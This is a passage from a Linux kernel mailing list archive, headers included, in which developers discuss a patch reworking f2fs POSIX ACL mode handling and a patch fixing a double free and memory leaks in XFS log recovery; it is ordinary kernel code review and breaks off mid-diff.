cipher=RC4-MD5 bits=128 verify=NO) for ; Sun, 08 Dec 2013 15:29:51 -0800 (PST) X-Barracuda-Envelope-From: jaegeuk.kim@samsung.com X-Barracuda-Apparent-Source-IP: 203.254.224.24 X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.24] MIME-version: 1.0 X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.24] Content-type: text/plain; charset=UTF-8 Received: from epcpsbgr3.samsung.com (u143.gpu120.samsung.co.kr [203.254.230.143]) by mailout1.samsung.com (Oracle Communications Messaging Server 7u4-24.01 (7.0.4.24.0) 64bit (built Nov 17 2011)) with ESMTP id <0MXI006VDH9MBIA0@mailout1.samsung.com> for xfs@oss.sgi.com; Mon, 09 Dec 2013 08:29:46 +0900 (KST) Received: from epcpsbgm2.samsung.com ( [203.254.230.49]) by epcpsbgr3.samsung.com (EPCPMTA) with SMTP id DE.D8.15387.AE005A25; Mon, 09 Dec 2013 08:29:46 +0900 (KST) X-AuditID: cbfee68f-b7f256d000003c1b-73-52a500ea0e1f Received: from epmmp2 ( [203.254.227.17]) by epcpsbgm2.samsung.com (EPCPMTA) with SMTP id 8A.AB.15903.AE005A25; Mon, 09 Dec 2013 08:29:46 +0900 (KST) Content-transfer-encoding: 8BIT Received: from [12.52.195.98] by mmp2.samsung.com (Oracle Communications Messaging Server 7u4-24.01(7.0.4.24.0) 64bit (built Nov 17 2011)) with ESMTPA id <0MXI0040JH9MDI20@mmp2.samsung.com>; Mon, 09 Dec 2013 08:29:46 +0900 (KST) Message-id: <1386545325.2101.58.camel@kjgkr> Subject: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure From: Jaegeuk Kim X-ASG-Orig-Subj: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure Reply-To: jaegeuk.kim@samsung.com To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Date: Mon, 09 Dec 2013 08:28:45 +0900 In-reply-to: <20131208091443.GA13760@infradead.org> References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.205206019@bombadil.infradead.org> <1386293854.2101.8.camel@kjgkr> <20131208091443.GA13760@infradead.org> Organization: Samsung X-Mailer: Evolution 3.2.3-0ubuntu6 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFmpnleLIzCtJLcpLzFFi42I5/e+Zoe4rhqVBBkdOSlicXP2YzeL0hEVM Fhc/tjJZnDz3jcXi0uMV7BYz591hs7i0yN1iz96TLBa7m5axW1w4cJrV4tyZiWwWs7euYLY4 //c4q8WivluMDnweTy8GeWxeoeWxeUm9x+4Fn5k8Vl/Yyujxft9VNo/1W66yeHzeJOex6clb pgDOKC6blNSczLLUIn27BK6M09fvsxXcSK9YMk2rgbEzoIuRk0NCwETi7LJd7BC2mMSFe+vZ uhi5OIQEljFKXNs1iw2maPuODhaIxHRGiYbJk5hBErwCghI/Jt8DSnBwMAvISxy5lA0SZhZQ l5g0bxEzRP0rRolPjT+ZIOp1JB73PWEEsYUFXCUebj3CBNLLJqAtsXm/AUhYSEBR4u3+u6wg toiApsSt5e1gc5gFpjBLPJg5B2wvi4CqxLFnE8BmcgoYSxw6NIEdonkXo8TvOeYgNr+AqMTh hduZIR5Qktjd3skOMkhCYA+HxP+Z06EGCUh8m3wI7AEJAVmJTQeg6iUlDq64wTKBUWIWkjdn Ibw5C8mbCxiZVzGKphYkFxQnpRcZ6xUn5haX5qXrJefnbmKEJIL+HYx3D1gfYkwG2jiRWUo0 OR+YSPJK4g2NzYwsTE1MjY3MLc1IE1YS573/MClISCA9sSQ1OzW1ILUovqg0J7X4ECMTB6dU A2PeNofFc16v2aS+wueyk8uSJe0lcal52ac3ck5+8eG2Stldk2/ZFUuUfS/1vAg3P3Pne0ag 5eltSYeu5rBdV01tCXuu0HstvSFog1HzUiMnNue3yZLpfxydNsYvtxb4KsLPr7D6XnV8/IHa pgmd2zucUtZEK5r48Lx8x3Fb7KftodN5cxhtVZRYijMSDbWYi4oTAaMGkTgaAwAA X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrCKsWRmVeSWpSXmKPExsVy+t9jQd1XDEuDDG6uE7Q4ufoxm8XpCYuY LC5+bGWyOHnuG4vFpccr2C1mzrvDZnFpkbvFnr0nWSx2Ny1jt7hw4DSrxbkzE9ksZm9dwWxx /u9xVotFfbcYHfg8nl4M8ti8Qstj85J6j90LPjN5rL6wldHj/b6rbB7rt1xl8fi8Sc5j05O3 TAGcUQ2MNhmpiSmpRQqpecn5KZl56bZK3sHxzvGmZgaGuoaWFuZKCnmJuam2Si4+AbpumTlA pysplCXmlAKFAhKLi5X07TBNCA1x07WAaYzQ9Q0JgusxMkADCesYM05fv89WcCO9Ysk0rQbG zoAuRk4OCQETie07OlggbDGJC/fWs3UxcnEICUxnlGiYPIkZJMErICjxY/I9oCIODmYBeYkj l7JBwswC6hKT5i1ihqh/xSjxqfEnE0S9jsTjvieMILawgKvEw61HmEB62QS0JTbvNwAJCwko Srzdf5cVxBYR0JS4tbwdbA6zwBRmiQcz54DtZRFQlTj2bALYTE4BY4lDhyawQzTvYpT4Pccc xOYXEJU4vHA7M8QDShK72zvZJzAKzUJy9iyEs2chOXsBI/MqRtHUguSC4qT0XCO94sTc4tK8 dL3k/NxNjOA080x6B+OqBotDjAIcjEo8vDd2LA4SYk0sK67MPcQowcGsJMKrdGJJkBBvSmJl VWpRfnxRaU5q8SHGZKDDJzJLiSbnA1NgXkm8obGJmZGlkZmFkYm5OWnCSuK8B1utA4UE0hNL UrNTUwtSi2C2MHFwSjUwrtv4sd7OUc4xyOj07m+cGawnngYV/LphodQr8vjzYsEWZTH2RzEa sg/WpMxXvsUnLSeXadT4hjNf4Xtu3Vlx/rNWD0/drCsJesN8YkutQPfvkm/SEg+W6J9YsWfz ke75mQ0yX1gq7G5V7snYfSTYWeWb/SutopOnLrB/c/Bp5FDd7tl/Q/WeEktxRqKhFnNRcSIA RT/5rncDAAA= DLP-Filter: Pass X-MTR: 20000000000000000@CPGS X-CFilter-Loop: Reflected X-Barracuda-Connect: mailout1.samsung.com[203.254.224.24] X-Barracuda-Start-Time: 1386545391 X-Barracuda-Encrypted: RC4-MD5 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 2013-12-08 (일), 01:14 -0800, Christoph Hellwig: > On Fri, Dec 06, 2013 at 10:37:34AM +0900, Jaegeuk Kim wrote: > > f2fs caches a new mode bit for a while to make the consistency between > > xattr's acl mode and the inode mode. > > Can you explain what exactly you're trying to do there? I've been > trying to unwrap what's going on and can't really see the point: > > - i_acl_mode and FI_ACL_MODE get set in __setattr_copy, but right > after that call, still under i_mutex and before marking the inode > dirty f2fs_acl_chmod makes use of it, and it gets cleared right > after. Is there any race that could happen with a locked inode > not marked dirty yet on f2fs? As you guess, there is no race problem, but the problem is on acl consistency between xattr->mode and inode->mode. Previously, f2fs_setattr triggers: new_mode inode->mode xattr->mode iblock->mode f2fs_setattr x -> x y y [update_inode] x --- [ y ] ---> x [checkpoint] x y x __f2fs_setxattr x -> x x In this flow, f2fs is able to break the consistency between xattr->mode and iblock->mode after checkpoint followed by sudden-power-off. So, fi->mode was introduced to address the problem. The new f2fs_setattr triggers: new_mode inode->mode fi->mode xattr->mode iblock->mode f2fs_setattr x --- [y] ---> x y y [update_inode] y x y y [checkpoint] y x y y __f2fs_setxattr x <- x -> x -> x Finally, __f2fs_setxattr synchronizes inode->mode, xattr->mode, and iblock->mode all together. The root question is "is it possible to call update_inode in the i_mutex-covered region like f2fs_setattr?". The update_inode of f2fs is called from a bunch of places so currently I'm not sure it can be impossible. Thanks, > We could pass a mode argument > to posix_acl_create, but I'd prefer to avoid that if we can. > - on the set_acl side it gets set in __f2fs_set_acl, and then > i_mode is update in __f2fs_setxattr which could easily done with > a stack variable. > > RFC patch below: > > > diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c > index 4f52fe0f..6647545 100644 > --- a/fs/f2fs/acl.c > +++ b/fs/f2fs/acl.c > @@ -17,9 +17,6 @@ > #include "xattr.h" > #include "acl.h" > > -#define get_inode_mode(i) ((is_inode_flag_set(F2FS_I(i), FI_ACL_MODE)) ? \ > - (F2FS_I(i)->i_acl_mode) : ((i)->i_mode)) > - > static inline size_t f2fs_acl_size(int count) > { > if (count <= 4) { > @@ -209,11 +206,11 @@ static int __f2fs_set_acl(struct inode *inode, int type, > struct posix_acl *acl, struct page *ipage) > { > struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); > - struct f2fs_inode_info *fi = F2FS_I(inode); > int name_index; > void *value = NULL; > size_t size = 0; > int error; > + umode_t mode = 0; > > if (!test_opt(sbi, POSIX_ACL)) > return 0; > @@ -224,10 +221,10 @@ static int __f2fs_set_acl(struct inode *inode, int type, > case ACL_TYPE_ACCESS: > name_index = F2FS_XATTR_INDEX_POSIX_ACL_ACCESS; > if (acl) { > - error = posix_acl_equiv_mode(acl, &inode->i_mode); > + mode = inode->i_mode; > + error = posix_acl_equiv_mode(acl, &mode); > if (error < 0) > return error; > - set_acl_inode(fi, inode->i_mode); > if (error == 0) > acl = NULL; > } > @@ -245,19 +242,15 @@ static int __f2fs_set_acl(struct inode *inode, int type, > > if (acl) { > value = f2fs_acl_to_disk(acl, &size); > - if (IS_ERR(value)) { > - cond_clear_inode_flag(fi, FI_ACL_MODE); > + if (IS_ERR(value)) > return (int)PTR_ERR(value); > - } > } > > - error = f2fs_setxattr(inode, name_index, "", value, size, ipage); > + error = f2fs_setxattr(inode, name_index, "", value, size, ipage, mode); > > kfree(value); > if (!error) > set_cached_acl(inode, type, acl); > - > - cond_clear_inode_flag(fi, FI_ACL_MODE); > return error; > } > > @@ -289,28 +282,3 @@ int f2fs_init_acl(struct inode *inode, struct inode *dir, struct page *ipage) > > return error; > } > - > -int f2fs_acl_chmod(struct inode *inode) > -{ > - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); > - struct posix_acl *acl; > - int error; > - umode_t mode = get_inode_mode(inode); > - > - if (!test_opt(sbi, POSIX_ACL)) > - return 0; > - if (S_ISLNK(mode)) > - return -EOPNOTSUPP; > - > - acl = f2fs_get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl) || !acl) > - return PTR_ERR(acl); > - > - error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); > - if (error) > - return error; > - > - error = __f2fs_set_acl(inode, ACL_TYPE_ACCESS, acl, NULL); > - posix_acl_release(acl); > - return error; > -} > diff --git a/fs/f2fs/acl.h b/fs/f2fs/acl.h > index 2af31fe..e086465 100644 > --- a/fs/f2fs/acl.h > +++ b/fs/f2fs/acl.h > @@ -38,18 +38,12 @@ struct f2fs_acl_header { > > extern struct posix_acl *f2fs_get_acl(struct inode *, int); > extern int f2fs_set_acl(struct inode *inode, struct posix_acl *acl, int type); > -extern int f2fs_acl_chmod(struct inode *); > extern int f2fs_init_acl(struct inode *, struct inode *, struct page *); > #else > #define f2fs_check_acl NULL > #define f2fs_get_acl NULL > #define f2fs_set_acl NULL > > -static inline int f2fs_acl_chmod(struct inode *inode) > -{ > - return 0; > -} > - > static inline int f2fs_init_acl(struct inode *inode, struct inode *dir, > struct page *page) > { > diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h > index 89dc750..1e774e6 100644 > --- a/fs/f2fs/f2fs.h > +++ b/fs/f2fs/f2fs.h > @@ -181,7 +181,6 @@ struct f2fs_inode_info { > unsigned char i_advise; /* use to give file attribute hints */ > unsigned int i_current_depth; /* use only in directory structure */ > unsigned int i_pino; /* parent inode number */ > - umode_t i_acl_mode; /* keep file acl mode temporarily */ > > /* Use below internally in f2fs*/ > unsigned long flags; /* use to pass per-file flags */ > @@ -872,7 +871,6 @@ enum { > FI_NEW_INODE, /* indicate newly allocated inode */ > FI_DIRTY_INODE, /* indicate inode is dirty or not */ > FI_INC_LINK, /* need to increment i_nlink */ > - FI_ACL_MODE, /* indicate acl mode */ > FI_NO_ALLOC, /* should not allocate any blocks */ > FI_UPDATE_DIR, /* should update inode block for consistency */ > FI_DELAY_IPUT, /* used for the recovery */ > @@ -894,21 +892,6 @@ static inline void clear_inode_flag(struct f2fs_inode_info *fi, int flag) > clear_bit(flag, &fi->flags); > } > > -static inline void set_acl_inode(struct f2fs_inode_info *fi, umode_t mode) > -{ > - fi->i_acl_mode = mode; > - set_inode_flag(fi, FI_ACL_MODE); > -} > - > -static inline int cond_clear_inode_flag(struct f2fs_inode_info *fi, int flag) > -{ > - if (is_inode_flag_set(fi, FI_ACL_MODE)) { > - clear_inode_flag(fi, FI_ACL_MODE); > - return 1; > - } > - return 0; > -} > - > static inline void get_inline_info(struct f2fs_inode_info *fi, > struct f2fs_inode *ri) > { > diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c > index 13eff60..80ef669 100644 > --- a/fs/f2fs/file.c > +++ b/fs/f2fs/file.c > @@ -339,41 +339,9 @@ int f2fs_getattr(struct vfsmount *mnt, > return 0; > } > > -#ifdef CONFIG_F2FS_FS_POSIX_ACL > -static void __setattr_copy(struct inode *inode, const struct iattr *attr) > -{ > - struct f2fs_inode_info *fi = F2FS_I(inode); > - unsigned int ia_valid = attr->ia_valid; > - > - if (ia_valid & ATTR_UID) > - inode->i_uid = attr->ia_uid; > - if (ia_valid & ATTR_GID) > - inode->i_gid = attr->ia_gid; > - if (ia_valid & ATTR_ATIME) > - inode->i_atime = timespec_trunc(attr->ia_atime, > - inode->i_sb->s_time_gran); > - if (ia_valid & ATTR_MTIME) > - inode->i_mtime = timespec_trunc(attr->ia_mtime, > - inode->i_sb->s_time_gran); > - if (ia_valid & ATTR_CTIME) > - inode->i_ctime = timespec_trunc(attr->ia_ctime, > - inode->i_sb->s_time_gran); > - if (ia_valid & ATTR_MODE) { > - umode_t mode = attr->ia_mode; > - > - if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) > - mode &= ~S_ISGID; > - set_acl_inode(fi, mode); > - } > -} > -#else > -#define __setattr_copy setattr_copy > -#endif > - > int f2fs_setattr(struct dentry *dentry, struct iattr *attr) > { > struct inode *inode = dentry->d_inode; > - struct f2fs_inode_info *fi = F2FS_I(inode); > int err; > > err = inode_change_ok(inode, attr); > @@ -387,15 +355,9 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) > f2fs_balance_fs(F2FS_SB(inode->i_sb)); > } > > - __setattr_copy(inode, attr); > - > - if (attr->ia_valid & ATTR_MODE) { > - err = f2fs_acl_chmod(inode); > - if (err || is_inode_flag_set(fi, FI_ACL_MODE)) { > - inode->i_mode = fi->i_acl_mode; > - clear_inode_flag(fi, FI_ACL_MODE); > - } > - } > + setattr_copy(inode, attr); > + if (attr->ia_valid & ATTR_MODE) > + err = posix_acl_chmod(inode); > > mark_inode_dirty(inode); > return err; > diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c > index e2b9299..8820857 100644 > --- a/fs/f2fs/xattr.c > +++ b/fs/f2fs/xattr.c > @@ -108,7 +108,7 @@ static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, > if (strcmp(name, "") == 0) > return -EINVAL; > > - return f2fs_setxattr(dentry->d_inode, type, name, value, size, NULL); > + return f2fs_setxattr(dentry->d_inode, type, name, value, size, NULL, 0); > } > > static size_t f2fs_xattr_advise_list(struct dentry *dentry, char *list, > @@ -157,7 +157,7 @@ static int f2fs_xattr_advise_set(struct dentry *dentry, const char *name, > #ifdef CONFIG_F2FS_FS_SECURITY > static int __f2fs_setxattr(struct inode *inode, int name_index, > const char *name, const void *value, size_t value_len, > - struct page *ipage); > + struct page *ipage, umode_t mode); > static int f2fs_initxattrs(struct inode *inode, const struct xattr *xattr_array, > void *page) > { > @@ -167,7 +167,7 @@ static int f2fs_initxattrs(struct inode *inode, const struct xattr *xattr_array, > for (xattr = xattr_array; xattr->name != NULL; xattr++) { > err = __f2fs_setxattr(inode, F2FS_XATTR_INDEX_SECURITY, > xattr->name, xattr->value, > - xattr->value_len, (struct page *)page); > + xattr->value_len, (struct page *)page, 0); > if (err < 0) > break; > } > @@ -475,9 +475,8 @@ cleanup: > > static int __f2fs_setxattr(struct inode *inode, int name_index, > const char *name, const void *value, size_t value_len, > - struct page *ipage) > + struct page *ipage, umode_t mode) > { > - struct f2fs_inode_info *fi = F2FS_I(inode); > struct f2fs_xattr_entry *here, *last; > void *base_addr; > int found, newsize; > @@ -566,10 +565,9 @@ static int __f2fs_setxattr(struct inode *inode, int name_index, > if (error) > goto exit; > > - if (is_inode_flag_set(fi, FI_ACL_MODE)) { > - inode->i_mode = fi->i_acl_mode; > + if (mode) { > + inode->i_mode = mode; > inode->i_ctime = CURRENT_TIME; > - clear_inode_flag(fi, FI_ACL_MODE); > } > > if (ipage) > @@ -582,7 +580,8 @@ exit: > } > > int f2fs_setxattr(struct inode *inode, int name_index, const char *name, > - const void *value, size_t value_len, struct page *ipage) > + const void *value, size_t value_len, struct page *ipage, > + umode_t mode) > { > struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); > int err; > @@ -590,7 +589,8 @@ int f2fs_setxattr(struct inode *inode, int name_index, const char *name, > f2fs_balance_fs(sbi); > > f2fs_lock_op(sbi); > - err = __f2fs_setxattr(inode, name_index, name, value, value_len, ipage); > + err = __f2fs_setxattr(inode, name_index, name, value, value_len, ipage, > + mode); > f2fs_unlock_op(sbi); > > return err; > diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h > index b21d9eb..c73588a 100644 > --- a/fs/f2fs/xattr.h > +++ b/fs/f2fs/xattr.h > @@ -114,14 +114,15 @@ extern const struct xattr_handler f2fs_xattr_security_handler; > extern const struct xattr_handler *f2fs_xattr_handlers[]; > > extern int f2fs_setxattr(struct inode *, int, const char *, > - const void *, size_t, struct page *); > + const void *, size_t, struct page *, umode_t); > extern int f2fs_getxattr(struct inode *, int, const char *, void *, size_t); > extern ssize_t f2fs_listxattr(struct dentry *, char *, size_t); > #else > > #define f2fs_xattr_handlers NULL > static inline int f2fs_setxattr(struct inode *inode, int name_index, > - const char *name, const void *value, size_t value_len) > + const char *name, const void *value, size_t value_len, > + umode_t mode) > { > return -EOPNOTSUPP; > } > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jaegeuk Kim Samsung From david@fromorbit.com Sun Dec 8 18:30:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1AAD97F3F for ; Sun, 8 Dec 2013 18:30:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AAB57AC002 for ; Sun, 8 Dec 2013 16:30:10 -0800 (PST) X-ASG-Debug-ID: 1386548993-04bdf0132311b990001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id eejDx3dW0Oyw4Rpa for ; Sun, 08 Dec 2013 16:29:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAL4OpVJ5LHyk/2dsb2JhbABZgweDNrEXhU+BGhd0giUBAQUnExwjEAgDFQMJDBkPBSUDIROIAcBcFxaOegcKhCkDjFmLOodBilODPSiBLAQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 10:59:52 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpojG-0007dB-G3; Mon, 09 Dec 2013 11:29:42 +1100 Date: Mon, 9 Dec 2013 11:29:42 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com, Dan Carpenter Subject: Re: [PATCH 1/2] xfs: fix double free on error when cleaning log items Message-ID: <20131209002942.GM31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: fix double free on error when cleaning log items References: <20131206212027.846346746@sgi.com> <20131206212037.475868363@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131206212037.475868363@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386548993 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142948 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Dec 06, 2013 at 03:20:28PM -0600, Mark Tinguely wrote: > Commit 2a84108 cleans the remaining pending log item entries > when log recovery fails. Unfortunately, the cleaning call was > not removed from the error path in xlog_recover_commit_trans, > This can result in a use after free and a second free of the > transaction structure when the cleaning is done in > xlog_recover_process_data. > > Now the log item entry cleaning in xlog_recover_commit_trans > is only performed for the non-error case. > > Reported-by: Dan Carpenter > Signed-off-by: Mark Tinguely > --- > fs/xfs/xfs_log_recover.c | 5 +++-- > 1 file changed, 3 insertions(+), 2 deletions(-) > > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3509,9 +3509,10 @@ out: > if (!list_empty(&done_list)) > list_splice_init(&done_list, &trans->r_itemq); > > - xlog_recover_free_trans(trans); > - > error2 = xfs_buf_delwri_submit(&buffer_list); > + /* caller will free transactions in the error path */ > + if (!error && !error2) > + xlog_recover_free_trans(trans); > return error ? error : error2; > } Mark, please stop and think about the problem being reported and consider the wider context of it rather than just slapping band-aids over the code that solve just the specific problem being reported. Indeed, the above change doesn't take into account that the transaction has already been removed from the hash by xlog_recover_process_data(), and so it must always free the transaction structure here regardless of whether it succeeds or not as nobody else can ever find it by lookup. Further, it doesn't take into account the fact that calling xlog_recover_free_trans() without removing the transaction from the recovery hash in the error paths leaves a vector for use-after-free (and hence memory corruption) remaining behind. Hence the change in 2a84108 turned minor memory leaks into memory corruption vectors. And finally, it misses the other error handling paths where xlog_recover_process_data() leaks the trans structure that it is working on.... So, let's go back to the "callee cleans up" semantics that were in place before commit 2a84108 and fix all these problems in one go, rather than slapping a bandaid on them one at a time as they are reported. Smoke tested patch to fix all this below. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: xlog_recover_process_data leaks like a sieve From: Dave Chinner Fix the double free of the transaction structure introduced by commit 2a84108 ("xfs: free the list of recovery items on error"). In the process, make the freeing of the trans structure on error or completion of processing consistent - i.e. the responsibility of the the function that detected the error or completes processing. Add comments to document this behaviour so it can be maintained more easily in future. Fix the rest of the memory leaks of the transaction structure used by xlog_recover_process_data() that commit 2a84108 didn't address. Fix potential use-after-free of the trans structure by ensuring they are removed from the transaction recovery-in-progress hash table before they are freed. Remove all the shouty XFS_ERROR() macros that are used directly after ASSERT(0) calls as they are entirely redundant and make the code harder to read. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_recover.c | 155 +++++++++++++++++++++++++++-------------------- 1 file changed, 88 insertions(+), 67 deletions(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..517f7ee 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1483,6 +1483,32 @@ xlog_recover_add_item( list_add_tail(&item->ri_list, head); } +/* + * Free up any resources allocated by the transaction + * + * Remember that EFIs, EFDs, and IUNLINKs are handled later. + */ +STATIC void +xlog_recover_free_trans( + struct xlog_recover *trans) +{ + xlog_recover_item_t *item, *n; + int i; + + hlist_del_init(&trans->r_list); + list_for_each_entry_safe(item, n, &trans->r_itemq, ri_list) { + /* Free the regions in the item. */ + list_del(&item->ri_list); + for (i = 0; i < item->ri_cnt; i++) + kmem_free(item->ri_buf[i].i_addr); + /* Free the item itself */ + kmem_free(item->ri_buf); + kmem_free(item); + } + /* Free the transaction recover structure */ + kmem_free(trans); +} + STATIC int xlog_recover_add_to_cont_trans( struct xlog *log, @@ -1548,7 +1574,7 @@ xlog_recover_add_to_trans( xfs_warn(log->l_mp, "%s: bad header magic number", __func__); ASSERT(0); - return XFS_ERROR(EIO); + goto out_eio; } if (len == sizeof(xfs_trans_header_t)) xlog_recover_add_item(&trans->r_itemq); @@ -1577,8 +1603,8 @@ xlog_recover_add_to_trans( "bad number of regions (%d) in inode log format", in_f->ilf_size); ASSERT(0); - kmem_free(ptr); - return XFS_ERROR(EIO); + goto out_free_eio; + } item->ri_total = in_f->ilf_size; @@ -1593,6 +1619,17 @@ xlog_recover_add_to_trans( item->ri_cnt++; trace_xfs_log_recover_item_add(log, trans, item, 0); return 0; + +out_free_eio: + kmem_free(ptr); +out_eio: + /* + * This transaction is now unrecoverable, so we need to remove it from + * the transaction hash so nobody else can find it and free it. The + * error we return will abort further recovery processing. + */ + xlog_recover_free_trans(trans); + return EIO; } /* @@ -1699,7 +1736,7 @@ xlog_recover_reorder_trans( */ if (!list_empty(&sort_list)) list_splice_init(&sort_list, &trans->r_itemq); - error = XFS_ERROR(EIO); + error = EIO; goto out; } } @@ -1713,6 +1750,15 @@ out: list_splice_tail(&inode_buffer_list, &trans->r_itemq); if (!list_empty(&cancel_list)) list_splice_tail(&cancel_list, &trans->r_itemq); + + /* + * If we failed to reorder the transaction, it is now unrecoverable so + * we need to remove it from the transaction hash so nobody else can + * find it and free it. The error we return will abort further recovery + * processing. + */ + if (error) + xlog_recover_free_trans(trans); return error; } @@ -3235,31 +3281,6 @@ xlog_recover_do_icreate_pass2( return 0; } -/* - * Free up any resources allocated by the transaction - * - * Remember that EFIs, EFDs, and IUNLINKs are handled later. - */ -STATIC void -xlog_recover_free_trans( - struct xlog_recover *trans) -{ - xlog_recover_item_t *item, *n; - int i; - - list_for_each_entry_safe(item, n, &trans->r_itemq, ri_list) { - /* Free the regions in the item. */ - list_del(&item->ri_list); - for (i = 0; i < item->ri_cnt; i++) - kmem_free(item->ri_buf[i].i_addr); - /* Free the item itself */ - kmem_free(item->ri_buf); - kmem_free(item); - } - /* Free the transaction recover structure */ - kmem_free(trans); -} - STATIC void xlog_recover_buffer_ra_pass2( struct xlog *log, @@ -3384,7 +3405,7 @@ xlog_recover_commit_pass1( xfs_warn(log->l_mp, "%s: invalid item type (%d)", __func__, ITEM_TYPE(item)); ASSERT(0); - return XFS_ERROR(EIO); + return EIO; } } @@ -3420,7 +3441,7 @@ xlog_recover_commit_pass2( xfs_warn(log->l_mp, "%s: invalid item type (%d)", __func__, ITEM_TYPE(item)); ASSERT(0); - return XFS_ERROR(EIO); + return EIO; } } @@ -3467,7 +3488,7 @@ xlog_recover_commit_trans( #define XLOG_RECOVER_COMMIT_QUEUE_MAX 100 - hlist_del(&trans->r_list); + hlist_del_init(&trans->r_list); error = xlog_recover_reorder_trans(log, trans, pass); if (error) @@ -3488,17 +3509,17 @@ xlog_recover_commit_trans( list_splice_tail_init(&ra_list, &done_list); items_queued = 0; } - break; default: ASSERT(0); + error = ERANGE; + break; } if (error) - goto out; + break; } -out: if (!list_empty(&ra_list)) { if (!error) error = xlog_recover_items_pass2(log, trans, @@ -3509,22 +3530,17 @@ out: if (!list_empty(&done_list)) list_splice_init(&done_list, &trans->r_itemq); + /* + * We've already removed the trans structure from the hash, so nobody + * else will ever find this structure again. Hence we must free it here + * regardless of whether we processed it successfully or not. + */ xlog_recover_free_trans(trans); error2 = xfs_buf_delwri_submit(&buffer_list); return error ? error : error2; } -STATIC int -xlog_recover_unmount_trans( - struct xlog *log, - struct xlog_recover *trans) -{ - /* Do nothing now */ - xfs_warn(log->l_mp, "%s: Unmount LR", __func__); - return 0; -} - /* * There are two valid states of the r_state field. 0 indicates that the * transaction structure is in a normal state. We have either seen the @@ -3545,9 +3561,9 @@ xlog_recover_process_data( xfs_caddr_t lp; int num_logops; xlog_op_header_t *ohead; - xlog_recover_t *trans; + xlog_recover_t *trans = NULL; xlog_tid_t tid; - int error; + int error = 0; unsigned long hash; uint flags; @@ -3556,7 +3572,7 @@ xlog_recover_process_data( /* check the log format matches our own - else we can't recover */ if (xlog_header_check_recover(log->l_mp, rhead)) - return (XFS_ERROR(EIO)); + return XFS_ERROR(EIO); while ((dp < lp) && num_logops) { ASSERT(dp + sizeof(xlog_op_header_t) <= lp); @@ -3564,10 +3580,13 @@ xlog_recover_process_data( dp += sizeof(xlog_op_header_t); if (ohead->oh_clientid != XFS_TRANSACTION && ohead->oh_clientid != XFS_LOG) { - 